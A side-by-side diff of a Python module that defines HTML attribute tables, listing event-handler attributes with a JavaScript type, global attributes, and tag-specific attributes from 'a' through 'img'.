|     HTMLAttribute('onkeydown', HTMLTagAttributeType.TypeJavascript), |     HTMLAttribute('onkeyup', HTMLTagAttributeType.TypeJS), | ||||||
|     HTMLAttribute('onkeypress', HTMLTagAttributeType.TypeJavascript), |     HTMLAttribute('onload', HTMLTagAttributeType.TypeJS), | ||||||
|     HTMLAttribute('onkeyup', HTMLTagAttributeType.TypeJavascript), |     HTMLAttribute('onloadeddata', HTMLTagAttributeType.TypeJS), | ||||||
|     HTMLAttribute('onload', HTMLTagAttributeType.TypeJavascript), |     HTMLAttribute('onloadedmetadata', HTMLTagAttributeType.TypeJS), | ||||||
|     HTMLAttribute('onloadeddata', HTMLTagAttributeType.TypeJavascript), |     HTMLAttribute('onmessage', HTMLTagAttributeType.TypeJS), | ||||||
|     HTMLAttribute('onloadedmetadata', HTMLTagAttributeType.TypeJavascript), |     HTMLAttribute('onmousedown', HTMLTagAttributeType.TypeJS), | ||||||
|     HTMLAttribute('onmessage', HTMLTagAttributeType.TypeJavascript), |     HTMLAttribute('onmouseenter', HTMLTagAttributeType.TypeJS), | ||||||
|     HTMLAttribute('onmousedown', HTMLTagAttributeType.TypeJavascript), |     HTMLAttribute('onmouseleave', HTMLTagAttributeType.TypeJS), | ||||||
|     HTMLAttribute('onmouseenter', HTMLTagAttributeType.TypeJavascript), |     HTMLAttribute('onmousemove', HTMLTagAttributeType.TypeJS), | ||||||
|     HTMLAttribute('onmouseleave', HTMLTagAttributeType.TypeJavascript), |     HTMLAttribute('onmouseout', HTMLTagAttributeType.TypeJS), | ||||||
|     HTMLAttribute('onmousemove', HTMLTagAttributeType.TypeJavascript), |     HTMLAttribute('onmouseover', HTMLTagAttributeType.TypeJS), | ||||||
|     HTMLAttribute('onmouseout', HTMLTagAttributeType.TypeJavascript), |     HTMLAttribute('onmouseup', HTMLTagAttributeType.TypeJS), | ||||||
|     HTMLAttribute('onmouseover', HTMLTagAttributeType.TypeJavascript), |     HTMLAttribute('onmousewheel', HTMLTagAttributeType.TypeJS), | ||||||
|     HTMLAttribute('onmouseup', HTMLTagAttributeType.TypeJavascript), |     HTMLAttribute('onmozfullscreenchange', HTMLTagAttributeType.TypeJS), | ||||||
|     HTMLAttribute('onmousewheel', HTMLTagAttributeType.TypeJavascript), |     HTMLAttribute('onpagehide', HTMLTagAttributeType.TypeJS), | ||||||
|     HTMLAttribute('onmozfullscreenchange', |     HTMLAttribute('onpageshow', HTMLTagAttributeType.TypeJS), | ||||||
|                   HTMLTagAttributeType.TypeJavascript), |     HTMLAttribute('onpaste', HTMLTagAttributeType.TypeJS), | ||||||
|     HTMLAttribute('onpagehide', HTMLTagAttributeType.TypeJavascript), |     HTMLAttribute('onpause', HTMLTagAttributeType.TypeJS), | ||||||
|     HTMLAttribute('onpageshow', HTMLTagAttributeType.TypeJavascript), |     HTMLAttribute('onplay', HTMLTagAttributeType.TypeJS), | ||||||
|     HTMLAttribute('onpaste', HTMLTagAttributeType.TypeJavascript), |     HTMLAttribute('onplaying', HTMLTagAttributeType.TypeJS), | ||||||
|     HTMLAttribute('onpause', HTMLTagAttributeType.TypeJavascript), |     HTMLAttribute('onpointerdown', HTMLTagAttributeType.TypeJS), | ||||||
|     HTMLAttribute('onplay', HTMLTagAttributeType.TypeJavascript), |     HTMLAttribute('onpointerenter', HTMLTagAttributeType.TypeJS), | ||||||
|     HTMLAttribute('onplaying', HTMLTagAttributeType.TypeJavascript), |     HTMLAttribute('onpointerleave', HTMLTagAttributeType.TypeJS), | ||||||
|     HTMLAttribute('onpointerdown', HTMLTagAttributeType.TypeJavascript), |     HTMLAttribute('onpointermove', HTMLTagAttributeType.TypeJS), | ||||||
|     HTMLAttribute('onpointerenter', HTMLTagAttributeType.TypeJavascript), |     HTMLAttribute('onpointerout', HTMLTagAttributeType.TypeJS), | ||||||
|     HTMLAttribute('onpointerleave', HTMLTagAttributeType.TypeJavascript), |     HTMLAttribute('onpointerover', HTMLTagAttributeType.TypeJS), | ||||||
|     HTMLAttribute('onpointermove', HTMLTagAttributeType.TypeJavascript), |     HTMLAttribute('onpointerrawupdate', HTMLTagAttributeType.TypeJS), | ||||||
|     HTMLAttribute('onpointerout', HTMLTagAttributeType.TypeJavascript), |     HTMLAttribute('onpointerup', HTMLTagAttributeType.TypeJS), | ||||||
|     HTMLAttribute('onpointerover', HTMLTagAttributeType.TypeJavascript), |     HTMLAttribute('onpopstate', HTMLTagAttributeType.TypeJS), | ||||||
|     HTMLAttribute('onpointerrawupdate', HTMLTagAttributeType.TypeJavascript), |     HTMLAttribute('onprogress', HTMLTagAttributeType.TypeJS), | ||||||
|     HTMLAttribute('onpointerup', HTMLTagAttributeType.TypeJavascript), |     HTMLAttribute('onratechange', HTMLTagAttributeType.TypeJS), | ||||||
|     HTMLAttribute('onpopstate', HTMLTagAttributeType.TypeJavascript), |     HTMLAttribute('onrepeat', HTMLTagAttributeType.TypeJS), | ||||||
|     HTMLAttribute('onprogress', HTMLTagAttributeType.TypeJavascript), |     HTMLAttribute('onreset', HTMLTagAttributeType.TypeJS), | ||||||
|     HTMLAttribute('onratechange', HTMLTagAttributeType.TypeJavascript), |     HTMLAttribute('onresize', HTMLTagAttributeType.TypeJS), | ||||||
|     HTMLAttribute('onrepeat', HTMLTagAttributeType.TypeJavascript), |     HTMLAttribute('onscroll', HTMLTagAttributeType.TypeJS), | ||||||
|     HTMLAttribute('onreset', HTMLTagAttributeType.TypeJavascript), |     HTMLAttribute('onscrollend', HTMLTagAttributeType.TypeJS), | ||||||
|     HTMLAttribute('onresize', HTMLTagAttributeType.TypeJavascript), |     HTMLAttribute('onsearch', HTMLTagAttributeType.TypeJS), | ||||||
|     HTMLAttribute('onscroll', HTMLTagAttributeType.TypeJavascript), |     HTMLAttribute('onseeked', HTMLTagAttributeType.TypeJS), | ||||||
|     HTMLAttribute('onscrollend', HTMLTagAttributeType.TypeJavascript), |     HTMLAttribute('onseeking', HTMLTagAttributeType.TypeJS), | ||||||
|     HTMLAttribute('onsearch', HTMLTagAttributeType.TypeJavascript), |     HTMLAttribute('onselect', HTMLTagAttributeType.TypeJS), | ||||||
|     HTMLAttribute('onseeked', HTMLTagAttributeType.TypeJavascript), |     HTMLAttribute('onselectionchange', HTMLTagAttributeType.TypeJS), | ||||||
|     HTMLAttribute('onseeking', HTMLTagAttributeType.TypeJavascript), |     HTMLAttribute('onselectstart', HTMLTagAttributeType.TypeJS), | ||||||
|     HTMLAttribute('onselect', HTMLTagAttributeType.TypeJavascript), |     HTMLAttribute('onshow', HTMLTagAttributeType.TypeJS), | ||||||
|     HTMLAttribute('onselectionchange', HTMLTagAttributeType.TypeJavascript), |     HTMLAttribute('onstart', HTMLTagAttributeType.TypeJS), | ||||||
|     HTMLAttribute('onselectstart', HTMLTagAttributeType.TypeJavascript), |     HTMLAttribute('onsubmit', HTMLTagAttributeType.TypeJS), | ||||||
|     HTMLAttribute('onshow', HTMLTagAttributeType.TypeJavascript), |     HTMLAttribute('ontimeupdate', HTMLTagAttributeType.TypeJS), | ||||||
|     HTMLAttribute('onstart', HTMLTagAttributeType.TypeJavascript), |     HTMLAttribute('ontoggle', HTMLTagAttributeType.TypeJS), | ||||||
|     HTMLAttribute('onsubmit', HTMLTagAttributeType.TypeJavascript), |     HTMLAttribute('ontouchend', HTMLTagAttributeType.TypeJS), | ||||||
|     HTMLAttribute('ontimeupdate', HTMLTagAttributeType.TypeJavascript), |     HTMLAttribute('ontouchmove', HTMLTagAttributeType.TypeJS), | ||||||
|     HTMLAttribute('ontoggle', HTMLTagAttributeType.TypeJavascript), |     HTMLAttribute('ontouchstart', HTMLTagAttributeType.TypeJS), | ||||||
|     HTMLAttribute('ontoggle(popover)', HTMLTagAttributeType.TypeJavascript), |     HTMLAttribute('ontransitioncancel', HTMLTagAttributeType.TypeJS), | ||||||
|     HTMLAttribute('ontouchend', HTMLTagAttributeType.TypeJavascript), |     HTMLAttribute('ontransitionend', HTMLTagAttributeType.TypeJS), | ||||||
|     HTMLAttribute('ontouchmove', HTMLTagAttributeType.TypeJavascript), |     HTMLAttribute('ontransitionrun', HTMLTagAttributeType.TypeJS), | ||||||
|     HTMLAttribute('ontouchstart', HTMLTagAttributeType.TypeJavascript), |     HTMLAttribute('ontransitionstart', HTMLTagAttributeType.TypeJS), | ||||||
|     HTMLAttribute('ontransitioncancel', HTMLTagAttributeType.TypeJavascript), |     HTMLAttribute('onunhandledrejection', HTMLTagAttributeType.TypeJS), | ||||||
|     HTMLAttribute('ontransitionend', HTMLTagAttributeType.TypeJavascript), |     HTMLAttribute('onunload', HTMLTagAttributeType.TypeJS), | ||||||
|     HTMLAttribute('ontransitionrun', HTMLTagAttributeType.TypeJavascript), |     HTMLAttribute('onvolumechange', HTMLTagAttributeType.TypeJS), | ||||||
|     HTMLAttribute('ontransitionstart', HTMLTagAttributeType.TypeJavascript), |     HTMLAttribute('onwebkitanimationend', HTMLTagAttributeType.TypeJS), | ||||||
|     HTMLAttribute('onunhandledrejection', HTMLTagAttributeType.TypeJavascript), |     HTMLAttribute('onwebkitanimationiteration', HTMLTagAttributeType.TypeJS), | ||||||
|     HTMLAttribute('onunload', HTMLTagAttributeType.TypeJavascript), |     HTMLAttribute('onwebkitanimationstart', HTMLTagAttributeType.TypeJS), | ||||||
|     HTMLAttribute('onvolumechange', HTMLTagAttributeType.TypeJavascript), |     HTMLAttribute('onwebkittransitionend', HTMLTagAttributeType.TypeJS), | ||||||
|     HTMLAttribute('onwebkitanimationend', HTMLTagAttributeType.TypeJavascript), |     HTMLAttribute('onwheel', HTMLTagAttributeType.TypeJS), | ||||||
|     HTMLAttribute('onwebkitanimationiteration', |  | ||||||
|                   HTMLTagAttributeType.TypeJavascript), |  | ||||||
|     HTMLAttribute('onwebkitanimationstart', |  | ||||||
|                   HTMLTagAttributeType.TypeJavascript), |  | ||||||
|     HTMLAttribute('onwebkittransitionend', |  | ||||||
|                   HTMLTagAttributeType.TypeJavascript), |  | ||||||
|     HTMLAttribute('onwheel', HTMLTagAttributeType.TypeJavascript), |  | ||||||
| ] | ] | ||||||
|  | 
 | ||||||
|  | GlobalAttributes = [ | ||||||
|  |     HTMLAttribute('accesskey', HTMLTagAttributeType.TypeAccessKey), | ||||||
|  |     HTMLAttribute('autofocus', HTMLTagAttributeType.TypeFlag), | ||||||
|  |     HTMLAttribute('autocomplete', HTMLTagAttributeType.TypeFlag), | ||||||
|  |     HTMLAttribute('autocapitalize', HTMLTagAttributeType.TypeFlag), | ||||||
|  |     HTMLAttribute('contenteditable', HTMLTagAttributeType.TypeBoolean), | ||||||
|  |     HTMLAttribute('contextmenu', HTMLTagAttributeType.TypeText), | ||||||
|  |     HTMLAttribute('dir', HTMLTagAttributeType.TypeDir), | ||||||
|  |     HTMLAttribute('draggable', HTMLTagAttributeType.TypeBoolean), | ||||||
|  |     HTMLAttribute('dropzone', HTMLTagAttributeType.TypeDrop), | ||||||
|  |     HTMLAttribute('hidden', HTMLTagAttributeType.TypeFlag), | ||||||
|  |     HTMLAttribute('is', HTMLTagAttributeType.TypeText), | ||||||
|  |     HTMLAttribute('lang', HTMLTagAttributeType.TypeText), | ||||||
|  |     HTMLAttribute('popover', HTMLTagAttributeType.TypeFlag), | ||||||
|  |     HTMLAttribute('slot', HTMLTagAttributeType.TypeName), | ||||||
|  |     HTMLAttribute('spellcheck', HTMLTagAttributeType.TypeBoolean), | ||||||
|  |     HTMLAttribute('style', HTMLTagAttributeType.TypeStlye), | ||||||
|  |     HTMLAttribute('tabindex', HTMLTagAttributeType.TypeNumber), | ||||||
|  |     HTMLAttribute('title', HTMLTagAttributeType.TypeText), | ||||||
|  |     HTMLAttribute('translate', HTMLTagAttributeType.TypeBoolean), | ||||||
|  | ] | ||||||
|  | 
 | ||||||
|  | TagSpecificAttributes = { | ||||||
|  |     'a': [ | ||||||
|  |         HTMLAttribute('download', HTMLTagAttributeType.TypeFlag), | ||||||
|  |         HTMLAttribute('href', HTMLTagAttributeType.TypeURL), | ||||||
|  |         HTMLAttribute('hreflang', HTMLTagAttributeType.TypeText), | ||||||
|  |         HTMLAttribute('media', HTMLTagAttributeType.TypeText), | ||||||
|  |         HTMLAttribute('ping', HTMLTagAttributeType.TypeURL), | ||||||
|  |         HTMLAttribute('referrerpolicy', HTMLTagAttributeType.TypeText), | ||||||
|  |         HTMLAttribute('rel', HTMLTagAttributeType.TypeText), | ||||||
|  |         HTMLAttribute('target', HTMLTagAttributeType.TypeWindowTarget), | ||||||
|  |         HTMLAttribute('type', HTMLTagAttributeType.TypeText), | ||||||
|  |     ], | ||||||
|  |     'animate': [ | ||||||
|  |         HTMLAttribute('attributeName', HTMLTagAttributeType.TypeText), | ||||||
|  |         HTMLAttribute('attributeType', HTMLTagAttributeType.TypeText), | ||||||
|  |         HTMLAttribute('begin', HTMLTagAttributeType.TypeText), | ||||||
|  |         HTMLAttribute('by', HTMLTagAttributeType.TypeText), | ||||||
|  |         HTMLAttribute('calcMode', HTMLTagAttributeType.TypeText), | ||||||
|  |         HTMLAttribute('dur', HTMLTagAttributeType.TypeDuration), | ||||||
|  |         HTMLAttribute('end', HTMLTagAttributeType.TypeText), | ||||||
|  |     ], | ||||||
|  |     'abbr': [ | ||||||
|  |         HTMLAttribute('title', HTMLTagAttributeType.TypeText), | ||||||
|  |     ], | ||||||
|  |     'acronym': [ | ||||||
|  |         HTMLAttribute('title', HTMLTagAttributeType.TypeText), | ||||||
|  |     ], | ||||||
|  |     'address': [ | ||||||
|  |         HTMLAttribute('title', HTMLTagAttributeType.TypeText), | ||||||
|  |     ], | ||||||
|  |     'applet': [ | ||||||
|  |         HTMLAttribute('align', HTMLTagAttributeType.TypeText), | ||||||
|  |         HTMLAttribute('alt', HTMLTagAttributeType.TypeText), | ||||||
|  |         HTMLAttribute('archive', HTMLTagAttributeType.TypeURL), | ||||||
|  |         HTMLAttribute('code', HTMLTagAttributeType.TypeURL), | ||||||
|  |         HTMLAttribute('codebase', HTMLTagAttributeType.TypeURL), | ||||||
|  |         HTMLAttribute('data', HTMLTagAttributeType.TypeURL), | ||||||
|  |         HTMLAttribute('height', HTMLTagAttributeType.TypeNumber), | ||||||
|  |         HTMLAttribute('hspace', HTMLTagAttributeType.TypeNumber), | ||||||
|  |         HTMLAttribute('object', HTMLTagAttributeType.TypeURL), | ||||||
|  |         HTMLAttribute('vspace', HTMLTagAttributeType.TypeNumber), | ||||||
|  |         HTMLAttribute('width', HTMLTagAttributeType.TypeNumber), | ||||||
|  |     ], | ||||||
|  |     'area': [ | ||||||
|  |         HTMLAttribute('alt', HTMLTagAttributeType.TypeText), | ||||||
|  |         HTMLAttribute('coords', HTMLTagAttributeType.TypeText), | ||||||
|  |         HTMLAttribute('download', HTMLTagAttributeType.TypeFlag), | ||||||
|  |         HTMLAttribute('href', HTMLTagAttributeType.TypeURL), | ||||||
|  |         HTMLAttribute('hreflang', HTMLTagAttributeType.TypeText), | ||||||
|  |         HTMLAttribute('media', HTMLTagAttributeType.TypeText), | ||||||
|  |         HTMLAttribute('ping', HTMLTagAttributeType.TypeURL), | ||||||
|  |         HTMLAttribute('referrerpolicy', HTMLTagAttributeType.TypeText), | ||||||
|  |         HTMLAttribute('rel', HTMLTagAttributeType.TypeText), | ||||||
|  |         HTMLAttribute('shape', HTMLTagAttributeType.TypeText), | ||||||
|  |         HTMLAttribute('target', HTMLTagAttributeType.TypeWindowTarget), | ||||||
|  |         HTMLAttribute('type', HTMLTagAttributeType.TypeText), | ||||||
|  |     ], | ||||||
|  |     'article': [ | ||||||
|  |         HTMLAttribute('title', HTMLTagAttributeType.TypeText), | ||||||
|  |     ], | ||||||
|  |     'aside': [ | ||||||
|  |         HTMLAttribute('title', HTMLTagAttributeType.TypeText), | ||||||
|  |     ], | ||||||
|  |     'audio': [ | ||||||
|  |         HTMLAttribute('autoplay', HTMLTagAttributeType.TypeFlag), | ||||||
|  |         HTMLAttribute('controls', HTMLTagAttributeType.TypeFlag), | ||||||
|  |         HTMLAttribute('loop', HTMLTagAttributeType.TypeFlag), | ||||||
|  |         HTMLAttribute('muted', HTMLTagAttributeType.TypeFlag), | ||||||
|  |         HTMLAttribute('preload', HTMLTagAttributeType.TypeText), | ||||||
|  |         HTMLAttribute('src', HTMLTagAttributeType.TypeURL), | ||||||
|  |     ], | ||||||
|  |     'b': [ | ||||||
|  |         HTMLAttribute('title', HTMLTagAttributeType.TypeText), | ||||||
|  |     ], | ||||||
|  |     'base': [ | ||||||
|  |         HTMLAttribute('href', HTMLTagAttributeType.TypeURL), | ||||||
|  |     ], | ||||||
|  |     'basefont': [ | ||||||
|  |         HTMLAttribute('color', HTMLTagAttributeType.TypeColor), | ||||||
|  |         HTMLAttribute('face', HTMLTagAttributeType.TypeText), | ||||||
|  |         HTMLAttribute('size', HTMLTagAttributeType.TypeNumber), | ||||||
|  |     ], | ||||||
|  |     'bdi': [ | ||||||
|  |         HTMLAttribute('title', HTMLTagAttributeType.TypeText), | ||||||
|  |     ], | ||||||
|  |     'bdo': [ | ||||||
|  |         HTMLAttribute('dir', HTMLTagAttributeType.TypeDir), | ||||||
|  |         HTMLAttribute('title', HTMLTagAttributeType.TypeText), | ||||||
|  |     ], | ||||||
|  |     'big': [ | ||||||
|  |         HTMLAttribute('title', HTMLTagAttributeType.TypeText), | ||||||
|  |     ], | ||||||
|  |     'blockquote': [ | ||||||
|  |         HTMLAttribute('cite', HTMLTagAttributeType.TypeURL), | ||||||
|  |         HTMLAttribute('title', HTMLTagAttributeType.TypeText), | ||||||
|  |     ], | ||||||
|  |     'body': [ | ||||||
|  |         HTMLAttribute('alink', HTMLTagAttributeType.TypeColor), | ||||||
|  |         HTMLAttribute('background', HTMLTagAttributeType.TypeURL), | ||||||
|  |         HTMLAttribute('bgcolor', HTMLTagAttributeType.TypeColor), | ||||||
|  |         HTMLAttribute('link', HTMLTagAttributeType.TypeColor), | ||||||
|  |         HTMLAttribute('text', HTMLTagAttributeType.TypeColor), | ||||||
|  |         HTMLAttribute('vlink', HTMLTagAttributeType.TypeColor), | ||||||
|  |     ], | ||||||
|  |     'button': [ | ||||||
|  |         HTMLAttribute('autofocus', HTMLTagAttributeType.TypeFlag), | ||||||
|  |         HTMLAttribute('disabled', HTMLTagAttributeType.TypeFlag), | ||||||
|  |         HTMLAttribute('form', HTMLTagAttributeType.TypeName), | ||||||
|  |         HTMLAttribute('formaction', HTMLTagAttributeType.TypeURL), | ||||||
|  |         HTMLAttribute('formenctype', HTMLTagAttributeType.TypeText), | ||||||
|  |         HTMLAttribute('formmethod', HTMLTagAttributeType.TypeText), | ||||||
|  |         HTMLAttribute('formnovalidate', HTMLTagAttributeType.TypeFlag), | ||||||
|  |         HTMLAttribute('formtarget', HTMLTagAttributeType.TypeWindowTarget), | ||||||
|  |         HTMLAttribute('title', HTMLTagAttributeType.TypeText), | ||||||
|  |         HTMLAttribute('type', HTMLTagAttributeType.TypeText), | ||||||
|  |         HTMLAttribute('value', HTMLTagAttributeType.TypeText), | ||||||
|  |         HTMLAttribute('popovertarget', HTMLTagAttributeType.TypeTarget), | ||||||
|  |     ], | ||||||
|  |     'canvas': [ | ||||||
|  |         HTMLAttribute('height', HTMLTagAttributeType.TypeNumber), | ||||||
|  |         HTMLAttribute('width', HTMLTagAttributeType.TypeNumber), | ||||||
|  |     ], | ||||||
|  |     'caption': [ | ||||||
|  |         HTMLAttribute('align', HTMLTagAttributeType.TypeText), | ||||||
|  |     ], | ||||||
|  |     'center': [ | ||||||
|  |         HTMLAttribute('title', HTMLTagAttributeType.TypeText), | ||||||
|  |     ], | ||||||
|  |     'cite': [ | ||||||
|  |         HTMLAttribute('title', HTMLTagAttributeType.TypeText), | ||||||
|  |     ], | ||||||
|  |     'code': [ | ||||||
|  |         HTMLAttribute('title', HTMLTagAttributeType.TypeText), | ||||||
|  |     ], | ||||||
|  |     'col': [ | ||||||
|  |         HTMLAttribute('align', HTMLTagAttributeType.TypeText), | ||||||
|  |         HTMLAttribute('bgcolor', HTMLTagAttributeType.TypeColor), | ||||||
|  |         HTMLAttribute('char', HTMLTagAttributeType.TypeText), | ||||||
|  |         HTMLAttribute('charoff', HTMLTagAttributeType.TypeText), | ||||||
|  |         HTMLAttribute('span', HTMLTagAttributeType.TypeNumber), | ||||||
|  |         HTMLAttribute('valign', HTMLTagAttributeType.TypeText), | ||||||
|  |         HTMLAttribute('width', HTMLTagAttributeType.TypeNumber), | ||||||
|  |     ], | ||||||
|  |     'colgroup': [ | ||||||
|  |         HTMLAttribute('align', HTMLTagAttributeType.TypeText), | ||||||
|  |         HTMLAttribute('bgcolor', HTMLTagAttributeType.TypeColor), | ||||||
|  |         HTMLAttribute('char', HTMLTagAttributeType.TypeText), | ||||||
|  |         HTMLAttribute('charoff', HTMLTagAttributeType.TypeText), | ||||||
|  |         HTMLAttribute('span', HTMLTagAttributeType.TypeNumber), | ||||||
|  |         HTMLAttribute('valign', HTMLTagAttributeType.TypeText), | ||||||
|  |         HTMLAttribute('width', HTMLTagAttributeType.TypeNumber), | ||||||
|  |     ], | ||||||
|  |     'data': [ | ||||||
|  |         HTMLAttribute('value', HTMLTagAttributeType.TypeText), | ||||||
|  |     ], | ||||||
|  |     'datalist': [ | ||||||
|  |         HTMLAttribute('title', HTMLTagAttributeType.TypeText), | ||||||
|  |     ], | ||||||
|  |     'dd': [ | ||||||
|  |         HTMLAttribute('title', HTMLTagAttributeType.TypeText), | ||||||
|  |     ], | ||||||
|  |     'del': [ | ||||||
|  |         HTMLAttribute('cite', HTMLTagAttributeType.TypeURL), | ||||||
|  |         HTMLAttribute('datetime', HTMLTagAttributeType.TypeDate), | ||||||
|  |     ], | ||||||
|  |     'details': [ | ||||||
|  |         HTMLAttribute('open', HTMLTagAttributeType.TypeFlag), | ||||||
|  |     ], | ||||||
|  |     'dfn': [ | ||||||
|  |         HTMLAttribute('title', HTMLTagAttributeType.TypeText), | ||||||
|  |     ], | ||||||
|  |     'dialog': [ | ||||||
|  |         HTMLAttribute('open', HTMLTagAttributeType.TypeFlag), | ||||||
|  |     ], | ||||||
|  |     'dir': [ | ||||||
|  |         HTMLAttribute('title', HTMLTagAttributeType.TypeText), | ||||||
|  |     ], | ||||||
|  |     'div': [ | ||||||
|  |         HTMLAttribute('title', HTMLTagAttributeType.TypeText), | ||||||
|  |     ], | ||||||
|  |     'dl': [ | ||||||
|  |         HTMLAttribute('title', HTMLTagAttributeType.TypeText), | ||||||
|  |     ], | ||||||
|  |     'dt': [ | ||||||
|  |         HTMLAttribute('title', HTMLTagAttributeType.TypeText), | ||||||
|  |     ], | ||||||
|  |     'em': [ | ||||||
|  |         HTMLAttribute('title', HTMLTagAttributeType.TypeText), | ||||||
|  |     ], | ||||||
|  |     'embed': [ | ||||||
|  |         HTMLAttribute('align', HTMLTagAttributeType.TypeText), | ||||||
|  |         HTMLAttribute('height', HTMLTagAttributeType.TypeNumber), | ||||||
|  |         HTMLAttribute('hspace', HTMLTagAttributeType.TypeNumber), | ||||||
|  |         HTMLAttribute('src', HTMLTagAttributeType.TypeURL), | ||||||
|  |         HTMLAttribute('type', HTMLTagAttributeType.TypeText), | ||||||
|  |         HTMLAttribute('vspace', HTMLTagAttributeType.TypeNumber), | ||||||
|  |         HTMLAttribute('width', HTMLTagAttributeType.TypeNumber), | ||||||
|  |     ], | ||||||
|  |     'fieldset': [ | ||||||
|  |         HTMLAttribute('disabled', HTMLTagAttributeType.TypeFlag), | ||||||
|  |         HTMLAttribute('form', HTMLTagAttributeType.TypeName), | ||||||
|  |     ], | ||||||
|  |     'figcaption': [ | ||||||
|  |         HTMLAttribute('title', HTMLTagAttributeType.TypeText), | ||||||
|  |     ], | ||||||
|  |     'figure': [ | ||||||
|  |         HTMLAttribute('title', HTMLTagAttributeType.TypeText), | ||||||
|  |     ], | ||||||
|  |     'font': [ | ||||||
|  |         HTMLAttribute('color', HTMLTagAttributeType.TypeColor), | ||||||
|  |         HTMLAttribute('face', HTMLTagAttributeType.TypeText), | ||||||
|  |         HTMLAttribute('size', HTMLTagAttributeType.TypeNumber), | ||||||
|  |     ], | ||||||
|  |     'footer': [ | ||||||
|  |         HTMLAttribute('title', HTMLTagAttributeType.TypeText), | ||||||
|  |     ], | ||||||
|  |     'form': [ | ||||||
|  |         HTMLAttribute('accept-charset', HTMLTagAttributeType.TypeText), | ||||||
|  |         HTMLAttribute('action', HTMLTagAttributeType.TypeURL), | ||||||
|  |         HTMLAttribute('autocomplete', HTMLTagAttributeType.TypeText), | ||||||
|  |         HTMLAttribute('enctype', HTMLTagAttributeType.TypeText), | ||||||
|  |         HTMLAttribute('method', HTMLTagAttributeType.TypeText), | ||||||
|  |         HTMLAttribute('novalidate', HTMLTagAttributeType.TypeFlag), | ||||||
|  |         HTMLAttribute('target', HTMLTagAttributeType.TypeWindowTarget), | ||||||
|  |     ], | ||||||
|  |     'frame': [ | ||||||
|  |         HTMLAttribute('frameborder', HTMLTagAttributeType.TypeFlag), | ||||||
|  |         HTMLAttribute('marginheight', HTMLTagAttributeType.TypeNumber), | ||||||
|  |         HTMLAttribute('marginwidth', HTMLTagAttributeType.TypeNumber), | ||||||
|  |         HTMLAttribute('noresize', HTMLTagAttributeType.TypeFlag), | ||||||
|  |         HTMLAttribute('scrolling', HTMLTagAttributeType.TypeText), | ||||||
|  |         HTMLAttribute('src', HTMLTagAttributeType.TypeURL), | ||||||
|  |     ], | ||||||
|  |     'frameset': [ | ||||||
|  |         HTMLAttribute('cols', HTMLTagAttributeType.TypeText), | ||||||
|  |         HTMLAttribute('rows', HTMLTagAttributeType.TypeText), | ||||||
|  |     ], | ||||||
|  |     'h1': [ | ||||||
|  |         HTMLAttribute('align', HTMLTagAttributeType.TypeText), | ||||||
|  |     ], | ||||||
|  |     'h2': [ | ||||||
|  |         HTMLAttribute('align', HTMLTagAttributeType.TypeText), | ||||||
|  |     ], | ||||||
|  |     'h3': [ | ||||||
|  |         HTMLAttribute('align', HTMLTagAttributeType.TypeText), | ||||||
|  |     ], | ||||||
|  |     'h4': [ | ||||||
|  |         HTMLAttribute('align', HTMLTagAttributeType.TypeText), | ||||||
|  |     ], | ||||||
|  |     'h5': [ | ||||||
|  |         HTMLAttribute('align', HTMLTagAttributeType.TypeText), | ||||||
|  |     ], | ||||||
|  |     'h6': [ | ||||||
|  |         HTMLAttribute('align', HTMLTagAttributeType.TypeText), | ||||||
|  |     ], | ||||||
|  |     'head': [ | ||||||
|  |         HTMLAttribute('profile', HTMLTagAttributeType.TypeURL), | ||||||
|  |     ], | ||||||
|  |     'header': [ | ||||||
|  |         HTMLAttribute('title', HTMLTagAttributeType.TypeText), | ||||||
|  |     ], | ||||||
|  |     'hr': [ | ||||||
|  |         HTMLAttribute('align', HTMLTagAttributeType.TypeText), | ||||||
|  |         HTMLAttribute('color', HTMLTagAttributeType.TypeColor), | ||||||
|  |         HTMLAttribute('noshade', HTMLTagAttributeType.TypeFlag), | ||||||
|  |         HTMLAttribute('size', HTMLTagAttributeType.TypeNumber), | ||||||
|  |         HTMLAttribute('width', HTMLTagAttributeType.TypeNumber), | ||||||
|  |     ], | ||||||
|  |     'html': [ | ||||||
|  |         HTMLAttribute('manifest', HTMLTagAttributeType.TypeURL), | ||||||
|  |         HTMLAttribute('xmlns', HTMLTagAttributeType.TypeURL), | ||||||
|  |     ], | ||||||
|  |     'i': [ | ||||||
|  |         HTMLAttribute('title', HTMLTagAttributeType.TypeText), | ||||||
|  |     ], | ||||||
|  |     'iframe': [ | ||||||
|  |         HTMLAttribute('align', HTMLTagAttributeType.TypeText), | ||||||
|  |         HTMLAttribute('allow', HTMLTagAttributeType.TypeText), | ||||||
|  |         HTMLAttribute('allowfullscreen', HTMLTagAttributeType.TypeFlag), | ||||||
|  |         HTMLAttribute('allowpaymentrequest', HTMLTagAttributeType.TypeFlag), | ||||||
|  |         HTMLAttribute('allowusermedia', HTMLTagAttributeType.TypeFlag), | ||||||
|  |         HTMLAttribute('csp', HTMLTagAttributeType.TypeText), | ||||||
|  |         HTMLAttribute('height', HTMLTagAttributeType.TypeNumber), | ||||||
|  |         HTMLAttribute('importance', HTMLTagAttributeType.TypeText), | ||||||
|  |         HTMLAttribute('referrerpolicy', HTMLTagAttributeType.TypeText), | ||||||
|  |         HTMLAttribute('sandbox', HTMLTagAttributeType.TypeText), | ||||||
|  |         HTMLAttribute('src', HTMLTagAttributeType.TypeURL), | ||||||
|  |         HTMLAttribute('srcdoc', HTMLTagAttributeType.TypeText), | ||||||
|  |         HTMLAttribute('width', HTMLTagAttributeType.TypeNumber), | ||||||
|  |     ], | ||||||
|  |     'img': [ | ||||||
|  |         HTMLAttribute('align', HTMLTagAttributeType.TypeText), | ||||||
|  |         HTMLAttribute('alt', HTMLTagAttributeType.TypeText), | ||||||
|  |         HTMLAttribute('border', HTMLTagAttributeType.TypeNumber), | ||||||
|  |         HTMLAttribute('crossorigin', HTMLTagAttributeType.TypeText), | ||||||
|  |         HTMLAttribute('decoding', HTMLTagAttributeType.TypeText), | ||||||
|  |         HTMLAttribute('height', HTMLTagAttributeType.TypeNumber), | ||||||
|  |         HTMLAttribute('hspace', HTMLTagAttributeType.TypeNumber), | ||||||
|  |         HTMLAttribute('intrinsicsize', HTMLTagAttributeType.TypeText), | ||||||
|  |         HTMLAttribute('ismap', HTMLTagAttributeType.TypeFlag), | ||||||
|  |         HTMLAttribute('loading', HTMLTagAttributeType.TypeText), | ||||||
|  |         HTMLAttribute('longdesc', HTMLTagAttributeType.TypeURL), | ||||||
|  |         HTMLAttribute('referrerpolicy', HTMLTagAttributeType.TypeText), | ||||||
|  |         HTMLAttribute('sizes', HTMLTagAttributeType.TypeText), | ||||||
